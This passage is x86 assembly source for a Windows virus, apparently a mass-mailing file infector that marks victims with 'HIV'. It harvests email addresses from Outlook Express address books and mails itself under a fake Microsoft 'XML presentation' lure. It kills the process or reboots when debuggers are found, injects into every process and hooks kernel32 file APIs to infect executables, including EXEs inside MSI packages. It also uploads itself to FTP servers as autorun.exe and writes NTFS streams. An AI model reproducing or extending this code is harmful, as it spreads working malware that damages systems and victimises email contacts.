je end_mapi
mov [ebp + a_MAPISendMail - gdelta],eax
;save it
xor edx,edx
lea eax,[ebp + tmp - gdelta];mapi session ptr
push eax
push edx
push edx
lea eax,[ebp + nextPID-1 - gdelta]
push eax
push eax
push edx
call esi ;log on to MAPI32
test eax,eax
jne end_mapi
;generate MAPI32 message
push edi
lea edi,[ebp + MAPIMessage - gdelta]
stosd
@getsz 'XML presentation',eax ;subject
stosd
call @msgbody
db 'Please check out this XML presentation and send us your opinion.',0dh,0ah
db 'If you have any questions about XML presentation, write us.',0dh,0ah,0dh,0ah,0dh,0ah
db 'Thank you,',0dh,0ah,0dh,0ah
db 'The XML developement team, Microsoft Corp.',0
@msgbody:
pop eax
stosd ;message body
add edi,4
@getsz '2010/06/06 22:00',eax ;date and time
stosd
add edi,4
push 2
pop eax
stosd
lea eax,[ebp + MsgFrom - gdelta]
stosd ;sender
push 5
pop eax ;number of recipients
stosd
lea eax,[ebp + MsgTo - gdelta]
stosd ;recipients
xor eax,eax
inc eax
stosd
lea eax,[ebp + MAPIFileDesc - gdelta]
stosd
add edi,4*2
lea eax,[ebp + nextPID-1 - gdelta]
stosd
@getsz 'press@microsoft.com',eax
stosd ;sender
add edi,4*2
push 5
pop ecx
xor eax,eax
msgTo: stosd ;0
inc eax
stosd ;1
dec eax
stosd ;0
imul eax,ecx,22h
lea eax,[eax + ebp + mails - gdelta-22h]
stosd ;get next email address from WAB - recipient
xor eax,eax
stosd ;0
stosd ;0
loop msgTo ;5 timez
add edi,4*3
lea eax,[ebp + @i_html+6 - gdelta]
stosd ;name of file attachment
stosd ;...
add edi,4
xor eax,eax
push eax
push eax
lea ecx,[ebp + MAPIMessage - gdelta]
push ecx ;message
push eax
push dword ptr [ebp + tmp - gdelta]
mov eax,12345678h
a_MAPISendMail = dword ptr $-4
call eax ;send E-MAIL !
pop edi
xor eax,eax
push eax
push eax
push eax
push dword ptr [ebp + tmp - gdelta]
call edi ;close MAPI session
end_mapi:
push ebx
call [ebp + a_FreeLibrary - gdelta] ;unload MAPI32.DLL
popad ;restore all registers
ret ;and quit from procedure
mapi_stuff EndP
;this procedure can get 5 e-mail addresses from Outlook Express'es default
;address-book - .WAB file
wab_parse Proc
pushad ;store all registers
@SEH_SetupFrame <jmp end_seh>
;setup SEH frame
lea ebx,[ebp + wab_buffer - gdelta]
call Create_FileA ;open WAB file
inc eax
je end_seh ;quit if error
dec eax
mov [ebp + wFile - gdelta],eax
;store handle
call Create_FileMappingA
xchg eax,ecx ;create file mapping object
jecxz end_wfile
mov [ebp + wMapFile - gdelta],ecx
;store handle
call Map_ViewOfFile ;map view of file to our address space
xchg eax,ecx
jecxz end_wmfile
mov [ebp + wlpFile - gdelta],ecx
jmp next_wab ;save handle
end_wab:push 12345678h
wlpFile = dword ptr $-4 ;unmap view of file
call [ebp + a_UnmapViewOfFile - gdelta]
end_wmfile:
push 12345678h
wMapFile = dword ptr $-4 ;close file mapping object
call [ebp + a_CloseHandle - gdelta]
end_wfile:
push 12345678h
wFile = dword ptr $-4 ;close file
call [ebp + a_CloseHandle - gdelta]
jmp end_seh ;quit from procedure
next_wab:
mov esi,[ecx+60h] ;get to e-mail addresses array
add esi,ecx ;make RAW pointer
lea edi,[ebp + mails - gdelta] ;buffer for 5 mail addresses
xor ebx,ebx ;EBX - 0
push 5
pop ecx ;ECX - 5
m_loop: call parse_wab ;get one e-mail address
add esi,44h ;get to next record
loop m_loop ;ECX timez
jmp end_wab ;and quit
parse_wab:
push ecx ;store registers
push esi ;...
push 22h
pop ecx ;up to 22 characters
r_mail: lodsw ;get unicode character
stosb ;save ANSI character
dec ecx ;decrement counter
test al,al ;end of string?
jne r_mail ;no, continue
add edi,ecx ;yep, correct EDI
pop esi ;restore registers
pop ecx ;...
ret ;and quit
wab_parse EndP
;this procedure can check if the virus is debugged and if so, it can restart
;computer (Win98) or terminate current process (Win2k)
debug_stuff Proc
pushad
mov eax,fs:[20h] ;get debug context
test eax,eax ;if API-level debugger is not present,
je $+4 ;EAX should be NULL
k_debug:int 19h ;kill process/computer :)
call [ebp + a_IsDebuggerPresent - gdelta]
test eax,eax ;check for API-level debugger
jne k_debug ;kill if present
@getsz '\\.\SICE',ebx ;name of driver to EBX
call Create_FileA ;open SOFTICE driver (Win98)
inc eax
jne k_debug ;kill if present
@getsz '\\.\NTICE',ebx ;name of driver to EBX
call Create_FileA ;open SOFTICE driber (WinNT/2k)
inc eax
jne k_debug ;kill if present
popad ;restore registers
ret ;and continue
debug_stuff EndP
;this procedure is designed to infect ALL processes - in each process it will
;find K32, allocate memory for virus and hook some K32 calls
searchThread Proc
pushad ;store all registers
@SEH_SetupFrame <jmp end_search> ;setup SEH frame
mov ebp,[esp.cPushad+12] ;get delta offset
xor ebx,ebx ;EBX - PID
mov ecx,80000h ;set counter
nextPID:inc ebx ;increment PID
pushad ;store all registers
push ebx ;process ID
push 0
push PROCESS_VM_READ or PROCESS_VM_WRITE or PROCESS_VM_OPERATION or PROCESS_QUERY_INFORMATION
;try to get handle of process
call [ebp + a_OpenProcess - gdelta] ;thru our ID
test eax,eax ;have we correct handle?
jne gotPID ;yeah, ID is valid, infect process!
pid_loop:
popad ;restore all registers
loop nextPID ;nope, try it with another ID
end_search:
call @patch
ep_patch dd 0 ;synchronize variable for
@patch: pop eax ;ExitProcess API
mov [eax],eax ;now, host program may be terminated
jmp end_seh ;quit
gotPID: xchg eax,ebx ;handle to EBX
mov esi,12345678h ;get K32 base
k32_base = dword ptr $-4
;Now we have to get the size of K32 in another process. We use the trick
;-> we will search thru the address space for the end of K32 in memory
;and then we will substract the value with the base address, so we will
;get the size
start_parse:
push mbi_size
lea eax,[ebp + mbi - gdelta] ;MBI structure
push eax
push esi
push ebx ;get informations about
call [ebp + a_VirtualQueryEx - gdelta]
test eax,eax ;adress space
je end_K32_patching ;quit if error
;is memory commited?
test dword ptr [ebp + reg_state - gdelta],MEM_COMMIT
je end_parse ;quit if not, end of K32 found
mov eax,[ebp + reg_size - gdelta] ;get size of region
add [ebp + k32_size - gdelta],eax ;add the size to variable
add esi,eax ;make new address
jmp start_parse ;and parse again
end_parse:
sub esi,[ebp + k32_base - gdelta] ;correct to size and save it
mov [ebp + k32_size - gdelta],esi ;(size=k32_end - k32_start)
push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push esi
push 0
call [ebp + a_VirtualAlloc - gdelta] ;allocate enough space
test eax,eax ;for K32 in our process
je end_K32_patching
xchg eax,edi
mov [ebp + k32_copy - gdelta],edi ;save the address
lea edx,[ebp + tmp - gdelta]
push edx
push 12345678h
k32_size = dword ptr $-4
push edi
push dword ptr [ebp + k32_base - gdelta]
push ebx ;copy the K32 to our buffer
call [ebp + a_ReadProcessMemory - gdelta]
dec eax
jne end_K32_dealloc
movzx eax,word ptr [edi] ;get the first bytes of file
add eax,-"ZM"
jne end_K32_dealloc ;must be MZ header
mov esi,[edi.MZ_lfanew] ;get to PE header
add esi,edi
mov eax,[esi]
add eax,-"EP"
jne end_K32_dealloc ;must be PE header
cmp byte ptr [edi.MZ_res2],'H'+'I'+'V' ;is K32 already infected?
je end_K32_dealloc ;yeah, dont infect it again
mov byte ptr [edi.MZ_res2],'H'+'I'+'V' ;mark as already infected
push PAGE_EXECUTE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push virus_size
push 0 ;allocate enough space
push ebx ;for virus code in
call [ebp + a_VirtualAllocEx - gdelta] ;victim process
test eax,eax
je end_K32_dealloc ;quit if error
mov [ebp + virus_base - gdelta],eax ;save the address
;now we will try to hook some APIz of K32
push crcResCount
pop ecx ;count of APIz to hook
make_res:
pushad ;store all registers
mov eax,edi
lea esi,[ebp + crcRes - gdelta + (ecx*4)-4] ;get API
call get_api ;get address of API
test eax,eax
je end_res ;quit if error
push eax
mov edx,[ebp + posRes - gdelta + (ecx*4)-4] ;get ptr to variable which
sub eax,[ebp + k32_copy - gdelta] ;holds the address to old
add eax,[ebp + k32_base - gdelta] ;API
mov [edx],eax ;store address there
pop eax ;get address to EAX
pushad ;store all registers
xchg eax,esi ;EAX to ESI
mov edi,[ebp + oldRes - gdelta + (ecx*4)-4] ;save old 5 bytes
movsd ;4 bytes
movsb ;1 byte
popad ;restore all registers
;overwrite first 5 bytes of API code by <JMP api_hooker> instruction
;address = dest_address - (jmp_address+5)
push eax
sub eax,[ebp + k32_copy - gdelta] ;calculate api_hooker address
add eax,[ebp + k32_base - gdelta] ;...
mov esi,eax ;...
mov eax,0 ;base address of virus
virus_base = dword ptr $-4 ;in memory
add eax,[ebp + newRes - gdelta + (ecx*4)-4] ;add address of api_hooker
sub eax,5 ;substract the size of JMP
sub eax,esi ;substract with dest_address
pop esi
mov byte ptr [esi],0E9h ;write JMP opcode
mov [esi+1],eax ;write JMP address
end_res:popad ;restore all registers
loop make_res ;ECX-timez
lea edx,[ebp + tmp - gdelta]
push edx
push virus_size
lea edx,[ebp + Start - gdelta]
push edx
push dword ptr [ebp + virus_base - gdelta]
push ebx
call [ebp + a_WriteProcessMemory - gdelta] ;write virus to allocated memory
dec eax
jne end_K32_dealloc ;quit if error
;now we will change protection of K32 memory so we will be able to
;overwrite it with infected version of K32
lea edx,[ebp + tmp - gdelta]
push edx
push PAGE_EXECUTE_READWRITE
push dword ptr [ebp + k32_size - gdelta]
push dword ptr [ebp + k32_base - gdelta]
push ebx
call [ebp + a_VirtualProtectEx - gdelta] ;now we will be able to
dec eax ;rewrite the K32 with
jne end_K32_dealloc ;infected one
lea edx,[ebp + tmp - gdelta]
push edx
push dword ptr [ebp + k32_size - gdelta]
push dword ptr [ebp + k32_copy - gdelta]
push dword ptr [ebp + k32_base - gdelta]
push ebx
call [ebp + a_WriteProcessMemory - gdelta] ;rewrite K32
end_K32_dealloc:
push MEM_DECOMMIT
push dword ptr [ebp + k32_size - gdelta]
push 12345678h
k32_copy = dword ptr $-4
call [ebp + a_VirtualFree - gdelta] ;now we have to decommit
;our memory
push MEM_RELEASE
push 0
push dword ptr [ebp + k32_copy - gdelta]
call [ebp + a_VirtualFree - gdelta] ;and de-reserve, now our
;buffer doesnt exist
end_K32_patching:
push ebx
call [ebp + a_CloseHandle - gdelta] ;close the handle of process
jmp pid_loop ;and look for another one
searchThread EndP
;new FindFirstFileA hooker
newFindFirstFileA Proc
pushad ;store all registers
push eax
call @oldFFA ;get pointer to saved bytes...
oldFindFirstFileA:
db 5 dup (?) ;saved 5 bytes
@oldFFA:call @newFFA
db 5 dup (?) ;get pointer to buffer...
@newFFA:pop edi
mov [esp+4],edi
mov esi,0 ;address of FindFirstFileA in memory
posFindFirstFileA = dword ptr $-4
common_end:
push esi ;copy <JMP newFindFirstFileA> to
movsd ;buffer
movsb
pop edi
pop esi
push edi
movsd ;restore previous 5 bytes of API code
movsb
sub edi,5
mov esi,[esp.cPushad+16]
push esi
push dword ptr [esp.cPushad+16]
call edi ;call API
inc eax
je end_ffa
dec eax
call CheckInfect ;no error, try to infect found file
end_ffa:mov [esp.Pushad_eax+8],eax
pop edi
pop esi
movsd ;write back <JMP newFindFirstFileA>
movsb
popad ;restore all registers
ret 8 ;and quit with 2 params on the stack
newFindFirstFileA EndP
;new FindNextFileA hooker
newFindNextFileA Proc
pushad ;store all registers
push eax
call @oldFNA ;get pointer to saved bytes...
oldFindNextFileA:
db 5 dup (?)
@oldFNA:call @newFNA ;get pointer to buffer...
db 5 dup (?)
@newFNA:pop edi
mov [esp+4],edi
mov esi,0 ;address of FindNextFileA in memory
posFindNextFileA = dword ptr $-4
jmp common_end ;optimized :)
newFindNextFileA EndP
;this procedure is used by API hookerz - it can create WFD structure and call
;CheckInfect procedure (this proc needs WFD struct)
xCheckInfect Proc
call $+5
xdelta: pop ebp ;get delta offset
lea esi,[ebp + WFD - xdelta]
push esi ;WFD struct
push dword ptr [esp.cPushad+16] ;ptr to filename
call [ebp + a_FindFirstFileA - xdelta] ;find file
inc eax
je end_xci ;quit if error
dec eax
call CheckInfect ;infect file
push eax
call [ebp + a_FindClose - xdelta] ;close search handle
end_xci:ret ;and quit
xCheckInfect EndP
;new CopyFileA hooker
newCopyFileA Proc
push eax ;reserve space in stack for ret address
pushad ;store all registers
call xCheckInfect ;check and infect file
call @oldCFA ;get pointer to saved bytes...
oldCopyFileA:
db 5 dup (0) ;saved 5 bytes
@oldCFA:pop esi ;...to ESI
mov edi,0 ;address of CopyFileA in memory
posCopyFileA = dword ptr $-4
mov [esp.cPushad],edi ;store the address to stack
movsd ;restore 5 bytes
movsb
popad ;restore all registers
ret ;jump to previous API
newCopyFileA EndP
;new MoveFileA hooker
newMoveFileA Proc
push eax ;reserve space in stack for ret address
pushad ;store all registers
call xCheckInfect ;check and infect file
call @oldMFA ;get pointer to saved bytes...
oldMoveFileA:
db 5 dup (0) ;saved 5 bytes
@oldMFA:pop esi ;...to ESI
mov edi,0 ;address of MoveFileA in memory
posMoveFileA = dword ptr $-4
mov [esp.cPushad],edi ;store the address to stack
movsd ;restore 5 bytes
movsb
popad ;restore all registers
ret ;jump to previous API
newMoveFileA EndP
;new CreateFileA handler
newCreateFileA Proc
push eax ;reserve space in stack for ret address
pushad ;store all registers
mov ecx,12345678h ;semaphore
cfa_patch = dword ptr $-4
jecxz no_cfa ;dont infect file in infection stage
call xCheckInfect ;check and infect file
no_cfa: call @oldCA ;get pointer to saved bytes...
oldCreateFileA:
db 5 dup (0) ;saved 5 bytes
@oldCA: pop esi ;...to ESI
mov edi,0 ;address of CreateFileA in memory
posCreateFileA = dword ptr $-4
mov [esp.cPushad],edi ;store the address to stack
movsd ;restore 5 bytes
movsb
popad ;restore all registers
ret ;jump to previous API
newCreateFileA EndP
;new ExitProcess handler
newExitProcess Proc
pushad ;store all registers
call edelta ;get delta offset
edelta: pop ebp
ep_loop:mov ecx,[ebp + ep_patch - edelta] ;wait for SearchThread
jecxz ep_loop ;termination...
popad ;restore all registers
j_api oldExitProcess ;and call the original API
newExitProcess EndP
;new InternetConnectA hooker
newInternetConnectA Proc
fld dword ptr [esp] ;store return address on copro-stack
call ICAjmp ;call previous API
push eax ;make space on the stack
fstp dword ptr [esp] ;move return address from copro-stack to stack
test eax,eax ;error?
jne nICA ;no, we are connected
ret ;yeah, quit
nICA: pushad ;store all registers
call $+5
igd: pop ebp ;get delta offset to EBP
xchg eax,ebx
push MAX_PATH
lea esi,[ebp + reg_buffer - igd]
push esi
push 0 ;get path+filename of current process
call [ebp + a_GetModuleFileNameA - igd]
lea esi,[ebp + szInet+5 - igd]
push esi ;get base of WININET.DLL
call [ebp + a_GetModuleHandleA - igd]
@pushsz 'FtpPutFileA'
push eax ;get address of FtpPutFileA API
call [ebp + a_GetProcAddress - igd]
xchg eax,ecx
jecxz endICA ;quit if error
;now we will try to transfer infected file to FTP server
push 0 ;context
push 2 ;binary transfer
@pushsz 'autorun.exe' ;dest filename
push esi ;source filename (our process)
push ebx ;handle to inet connection
call ecx ;call FtpPutFileA
endICA: popad ;restore all registers
ret ;and quit
ICAjmp: pop eax ;get code address
mov [esp],eax ;save it on the stack
j_api oldInternetConnectA ;and call the previous API
newInternetConnectA EndP
unload_lib:
push edi
call [ebp + a_FreeLibrary - gd]
;this procedure can check the file and infect it
;input: ESI - WFD record
CheckInfect Proc
pushad ;store all registers
@SEH_SetupFrame <jmp end_seh>;setup SEH frame
call gd
gd: pop ebp ;get delta offset to EBP
mov [ebp + cut_or_not - gd],ebp
;set flag - truncate file back
test [esi.WFD_dwFileAttributes],FILE_ATTRIBUTE_DIRECTORY
jne end_seh ;must not be directory
xor edx,edx
cmp [esi.WFD_nFileSizeHigh],edx
jne end_seh ;discard huge files
mov edx,[esi.WFD_nFileSizeLow]
cmp edx,4000h ;discard small files
jb end_seh
mov [ebp + file_size - gd],edx
;save file size
lea ebx,[esi.WFD_szFileName]
pushad ;store all registers
xor esi,esi ;nulify register
@pushsz 'SFC'
call [ebp + a_LoadLibraryA - gd] ;load SFC.dll library
test eax,eax
je q_sfc ;quit if error
xchg eax,edi
@pushsz 'SfcIsFileProtected'
push edi
call [ebp + a_GetProcAddress - gd]
test eax,eax ;get the pointer to API
je un_sfc
push ebx ;filename
push 0 ;reserved
call eax ;call SfcIsFileProtected API
test eax,eax
je un_sfc
inc esi ;set variable to 1 if the file is protected
un_sfc: call unload_lib ;unload SFC.dll
q_sfc: mov [esp.Pushad_eax],esi ;save it to EAX on the stack
popad ;restore all registerz
test eax,eax
jne end_seh ;quit if file is protected (EAX=0)
; cmp [ebx],'dcba' ;for debug version
; jne end_seh ;infect only "abcd" filez
push FILE_ATTRIBUTE_NORMAL
push ebx
call [ebp + a_SetFileAttributesA - gd]
dec eax ;blank file attributes
jne end_seh
call resCreate_FileA ;open file
inc eax
je end_attr ;quit if error
dec eax
mov [ebp + hFile - gd],eax ;save handle
mov ebx,[esi.WFD_nFileSizeLow]
add ebx,virus_size ;new file size to EBX
mov [ebp + mapped_file_size - gd],ebx
cdq
push edx
push ebx
push edx
push PAGE_READWRITE
push edx
push eax
call [ebp + a_CreateFileMappingA - gd]
xchg eax,ecx ;create file mapping object
jecxz end_cfile ;quit if error
mov [ebp + hMapFile - gd],ecx
;save handle
push ebx
push 0
push 0
push FILE_MAP_WRITE
push ecx
call [ebp + a_MapViewOfFile - gd]
xchg eax,ecx ;map view of file to our address space
jecxz end_mfile ;quit if error
mov [ebp + lpFile - gd],ecx ;save handle
jmp n_open ;and continue
end_file:
popad
push 12345678h
lpFile = dword ptr $-4 ;unmap view of file
call [ebp + a_UnmapViewOfFile - gd]
end_mfile:
push 12345678h
hMapFile = dword ptr $-4 ;close file mapping object
call [ebp + a_CloseHandle - gd]
end_cfile:
mov ecx,12345678h ;infection succeed?
cut_or_not = dword ptr $-4
jecxz no_cut ;yeah, dont truncate file
push 0 ;no, truncate file back
push 0
push dword ptr [esi.WFD_nFileSizeLow]
push dword ptr [ebp + hFile - gd]
call [ebp + a_SetFilePointer - gd]
push dword ptr [ebp + hFile - gd]
call [ebp + a_SetEndOfFile - gd]
no_cut: lea eax,[esi.WFD_ftLastWriteTime]
push eax
lea eax,[esi.WFD_ftLastAccessTime]
push eax
lea eax,[esi.WFD_ftCreationTime]
push eax ;set back file time
push dword ptr [ebp + hFile - gd]
call [ebp + a_SetFileTime - gd]
mov ecx,[ebp + cut_or_not - gd]
jecxz ntfs_stuff ;try to compress file and create new stream
close_file:
push 12345678h
hFile = dword ptr $-4 ;close file
call [ebp + a_CloseHandle - gd]
end_attr:
lea eax,[esi.WFD_szFileName]
push [esi.WFD_dwFileAttributes]
push eax ;set back file attributes
call [ebp + a_SetFileAttributesA - gd]
end_seh:@SEH_RemoveFrame ;remove SEH frame
popad ;restore all registers
ret ;and quit from procedure
;this procedure will try to NTFS-compress infected file and add new stream
ntfs_stuff Proc
push 0
lea eax,[ebp + tmp - gd]
push eax
push 0
push 0
push 4
call in_buf
dd 1 ;default compression
in_buf: push 09C040h ;compress code
push dword ptr [ebp + hFile - gd]
call [ebp + a_DeviceIoControl - gd] ;compress infected file!
lea esi,[esi.WFD_szFileName] ;get ptr to filename
push esi
@endsz
dec esi
mov edi,esi
mov eax,'VIH:'
stosd ;add there ":HIV"\0
xor al,al
stosb
pop ebx
mov byte ptr [ebp + cfa_flagz - gd],CREATE_ALWAYS
call resCreate_FileA ;create new stream
mov byte ptr [ebp + cfa_flagz - gd],OPEN_EXISTING
inc eax
je end_seh ;quit if error
dec eax
xchg eax,ebx
push 0
lea eax,[ebp + tmp - gd]
push eax
push szMsg-1-p_msg
lea eax,[ebp + p_msg - gd]
push eax
push ebx
call [ebp + a_WriteFile - gd] ;copy message to new stream
push ebx
call [ebp + a_CloseHandle - gd] ;close stream
jmp close_file ;and close whole file
ntfs_stuff EndP
;this procedure can search for EXE files inside MSIs
mz_search Proc
pushad ;store all registers
@SEH_SetupFrame <jmp e_mz> ;setup SEH frame
r_byte: movzx eax,word ptr [ecx] ;get byte
add eax,-"ZM" ;is it MZ file?
jne n_byte ;no, explore next bytes
mov ebx,[ecx.MZ_lfanew] ;get to PE header
add ebx,ecx ;...
mov eax,[ebx] ;get DWORD
add eax,-"EP" ;is it PE file?
jne n_byte ;no, explore next bytes
end_mz: mov [esp.Pushad_ebx+8],ebx ;store PE location
mov [esp.Pushad_ecx+8],ecx ;store MZ location
jmp end_seh ;and quit
e_mz: xor ecx,ecx ;no file found...
jmp end_mz ;quit
n_byte: inc ecx ;move to next byte
jmp r_byte ;explore it
mz_search EndP
check_msi:
cmp [ecx],0E011CFD0h ;is it MSI signature?
jne end_file ;no, quit
cmp [ecx+4],0E11AB1A1h ;is it MSI signature?
jne end_file ;no, quit
parse_msi:
call mz_search ;search for EXE file inside MSI
test ecx,ecx
je end_file ;no files found, quit...
and dword ptr [ebp + pe_or_msi - gd],0
push ecx ;set flag (EXE inside MSI) and store ECX
call m_open ;analyse and infect file
pop ecx ;restore ECX
c_msi: inc ecx ;try next EXE file
jmp parse_msi ;inside MSI...
n_open: pushad ;store all registers
mov [ebp + pe_or_msi - gd],ecx ;set flag (normal EXE)
m_open: movzx eax,word ptr [ecx] ;get word
add eax,-"ZM" ;is it MZ?
jne check_msi ;no, quit
cmp byte ptr [ecx.MZ_res2],'H'+'I'+'V' ;is it already infected?
je end_file ;yeah, quit
mov ebx,ecx
add ebx,[ecx.MZ_lfanew]
;at this point:
; EBX - start of PE header
; ECX - start of MM file (MZ header)
; ESI - WIN32_FIND_DATA record
mov eax,[ebx] ;get DWORD
add eax,-"EP" ;is it PE file?
jne end_file ;no, quit
cmp word ptr [ebx.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
jne end_file ;must be 386+
mov eax,dword ptr [ebx.NT_FileHeader.FH_Characteristics]
not al
test ax,IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_DLL
jne end_file ;must not be DLL file
movzx edx,word ptr [ebx.NT_FileHeader.FH_NumberOfSections]
cmp edx,4
jb end_file ;must be 4+
dec edx
imul eax,edx,IMAGE_SIZEOF_SECTION_HEADER
movzx edx,word ptr [ebx.NT_FileHeader.FH_SizeOfOptionalHeader]
lea edi,[eax+edx+IMAGE_SIZEOF_FILE_HEADER+4]
add edi,ebx
;at this point:
; EBX - start of PE header
; ECX - start of MZ header
; EDX - start of host (.)code
; ESI - WFD record
; EDI - start of last section
mov byte ptr [ecx.MZ_res2],'H'+'I'+'V';mark as already infected
mov eax,12345678h
pe_or_msi = dword ptr $-4
test eax,eax ;do we infect MSI?
je infect_msi ;yeah, infect MSI
;no, infect normal EXE
mov [ebp + file_base - gd],ecx ;save base of mapped file
;EPO search engine
pushad ;store all registers
pushad ;...
lea edx,[edx+ebx+IMAGE_SIZEOF_FILE_HEADER+4]
mov esi,[edx.SH_PointerToRawData] ;get to start of .CODE section
add esi,ecx ;make RAW pointer
mov ecx,[edx.SH_SizeOfRawData] ;get the size of .CODE section
l_epo: add [ebp + enc_key - gd],eax;generate encryption key
lodsd ;get byte
cmp eax,0C95B5E5Fh ;is it procedure epilog code?
je ll_epo ;yeah, check the last byte
dec esi ;no, decrement pointerz
dec esi ;...
dec esi ;...
loop l_epo ;search for next instructionz
jmp end_epo ;no epilog found, quit
ll_epo: lodsb ;get the last byte
cmp al,0C3h ;is it RET instruction?
je got_epo ;yeah, we have found place for EPO
sub esi,4 ;no, decrement pointerz
dec ecx ;and counter
jmp l_epo ;and try again
got_epo:mov eax,[edi.SH_VirtualAddress]
add eax,[edi.SH_SizeOfRawData] ;calculate RVA of virus begining
mov ecx,esi
sub ecx,[esp.Pushad_ecx]
sub ecx,[edx.SH_PointerToRawData]
add ecx,[edx.SH_VirtualAddress] ;calculate RVA of JMP opcode
or dword ptr [edx.SH_Characteristics],IMAGE_SCN_MEM_WRITE
;set WRITE flag to .CODE section
mov edi,esi
mov esi,ecx
sub esi,5
sub edi,5
add esi,[ebx.NT_OptionalHeader.OH_ImageBase]
sub eax,ecx ;calculate destination address
push eax
mov [ebp + epo_pos - gd],esi ;store EPO address
mov al,0E9h ;store JMP opcode
stosb
pop eax
stosd ;store JMP address
end_epo:popad ;restore all registers
lea eax,[ebp + image_base - gd] ;get pointer to variable
push dword ptr [eax] ;save variable to the stack
mov ecx,[ebx.NT_OptionalHeader.OH_ImageBase]
mov [eax],ecx ;save new image base of host
lea esi,[ebp + Start - gd] ;get start of virus to ESI
mov ecx,end_virus-Start ;size of virus code
mov eax,[edi.SH_PointerToRawData] ;get ptr to last section
add eax,[edi.SH_SizeOfRawData] ;add size of section
add eax,[esp.Pushad_ecx+4] ;add address of mapped file
xchg eax,edi ;save it to EDI
push edi ;store it to the stack
mov ebx,12345678h
enc_key = dword ptr $-4
mov [ebp + decr_key - gd],ebx ;save encryption key
and dword ptr [ebp + enc_key - gd],0;nulify encryption key variable
inc dword ptr [ebp + generation_count - gd]
;increment number of generation
call mem_alloc ;allocate one buffer
mov [ebp + buffer - gd],eax ;save pointer
call mem_alloc ;allocate another buffer
mov [ebp + file_buffer - gd],eax ;save pointer
mov esi,12345678h ;get size of file
file_size = dword ptr $-4
mov ecx,8192
sub esi,ecx
add esi,12345678h ;move to the EOF-8192
file_base = dword ptr $-4
mov edi,12345678h ;EDI = allocated buffer
file_buffer = dword ptr $-4
rep movsb ;move there last 8192 bytes
lea esi,[ebp + encrypted - gd] ;start of encrypted part of virus
mov edi,12345678h
buffer = dword ptr $-4
push edi
mov ecx,(end_virus-encrypted+3)/4
push ecx ;copy encrypted part of virus
rep movsd ;to the buffer
pop ecx
pop esi
mov edi,esi
encrpt: lodsd
xor eax,ebx ;encrypt virus in the buffer
stosd
loop encrpt
pop edi
lea esi,[ebp + Start - gd]
push encrypted-Start
pop ecx ;copy decryptor to the end of
rep movsb ;last section
mov esi,[ebp + buffer - gd]
mov ecx,8192-(encrypted-Start)
rep movsb ;copy the encrypted part of virus
mov ecx,8192
mov esi,[ebp + file_buffer - gd]
rep movsb ;and last 8192 of host code
dec dword ptr [ebp + generation_count - gd] ;decrement number of gen.
pop dword ptr [ebp + image_base - gd] ;restore image base
popad ;restore all registers
mov esi,[ebp + buffer - gd]
call mem_dealloc ;deallocate buffer
mov esi,[ebp + file_buffer - gd]
call mem_dealloc ;...
or dword ptr [edi.SH_Characteristics],IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
;set flagz of the last section
add dword ptr [edi.SH_VirtualSize],virus_size
mov eax,[edi.SH_VirtualSize]
mov ecx,[ebx.NT_OptionalHeader.OH_SectionAlignment]
xor edx,edx
div ecx
test edx,edx
je end_m1
inc eax
mul ecx
mov [edi.SH_VirtualSize],eax ;new virtual size
end_m1: push dword ptr [edi.SH_SizeOfRawData]
add dword ptr [edi.SH_SizeOfRawData],virus_size
mov eax,[edi.SH_SizeOfRawData]
mov ecx,[ebx.NT_OptionalHeader.OH_FileAlignment]
xor edx,edx
div ecx
test edx,edx
je end_m2
inc eax
end_m2: mul ecx
pop edx
sub eax,edx
add [ebx.NT_OptionalHeader.OH_SizeOfImage],eax
test dword ptr [edi.SH_Characteristics],IMAGE_SCN_CNT_INITIALIZED_DATA
je rs_ok ;new size of raw data
add [ebx.NT_OptionalHeader.OH_SizeOfInitializedData],eax
;and size of initialized data
rs_ok: cmp dword ptr [ebx.NT_OptionalHeader.OH_CheckSum],0
je no_csum ;no need to calculate new checksum
@pushsz 'Imagehlp'
@imghlp:call [ebp + a_LoadLibraryA - gd]
test eax,eax ;load IMAGEHLP.DLL
je no_csum ;quit if error
xchg eax,edi
@pushsz 'CheckSumMappedFile'
push edi
call [ebp + a_GetProcAddress - gd]
test eax,eax ;get address of CheckSumMappedFile API
je un_csum ;quit if error
lea ecx,[ebx.NT_OptionalHeader.OH_CheckSum]
push ecx ;where to store new checksum
call $+9
dd ? ;old checksum
push 12345678h ;size of infected file
mapped_file_size = dword ptr $-4
push dword ptr [ebp + lpFile - gd]
call eax ;calculate new checksum
un_csum:call unload_lib ;unload library
no_csum:and dword ptr [ebp + cut_or_not - gd],0
jmp end_file ;infection succeed, quit...
;this procedure can infect EXE file inside MSI
infect_msi:
;at this point:
; EBX - start of PE header
; ECX - start of MZ header
; EDX - start of host (.)code
; ESI - WFD record
; EDI - start of last section
mov [ebp + r2rp - gd],ebx ;set !0 - victim program
push dword ptr [ebx.NT_OptionalHeader.OH_BaseOfCode]
mov eax,ecx
call rva2raw ;get base of code
pop esi
mov edi,esi
mov ecx,[ebx.NT_OptionalHeader.OH_SizeOfCode]
;size of code
include cse.inc ;find cave inside EXE file
push edi
mov edi,[edx+ebx+IMAGE_SIZEOF_FILE_HEADER+4]
cmp edi,'xet.' ;is the first section ".text"?
je cc_msi
cmp edi,'EDOC' ;or ".CODE"?
je cc_msi
pop edi ;no, quit
ret
cc_msi: pop edi
mov ecx,[ebx.NT_OptionalHeader.OH_AddressOfEntryPoint]
mov eax,ecx
sub eax,[ebx+edx+SH_VirtualAddress+IMAGE_SIZEOF_FILE_HEADER+4]
;get entrypoint RVA to EAX
push eax
mov eax,ecx
mov [ebp + msi_entrypoint - gd],eax ;save old entrypoint
mov eax,[ebx.NT_OptionalHeader.OH_ImageBase]
add [ebp + msi_entrypoint - gd],eax ;in RAW format
pop eax
push esi
sub esi,edi
sub esi,eax ;set new entrypoint
add [ebx.NT_OptionalHeader.OH_AddressOfEntryPoint],esi
pop edi
lea esi,[ebp + msi_start - gd]
mov ecx,msi_end-msi_start
rep movsb ;copy there MSI bug-code
ret ;end quit
no_cave_found:
popad ;no cave inside EXE file found,
ret ;restore all registers and quit
CheckInfect EndP
;this procedure can allocate memory (8192 bytes)
mem_alloc:
push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push 8192
push 0
call [ebp + a_VirtualAlloc - gd]
ret
;this procedure can deallocate already memory (8192 bytes)
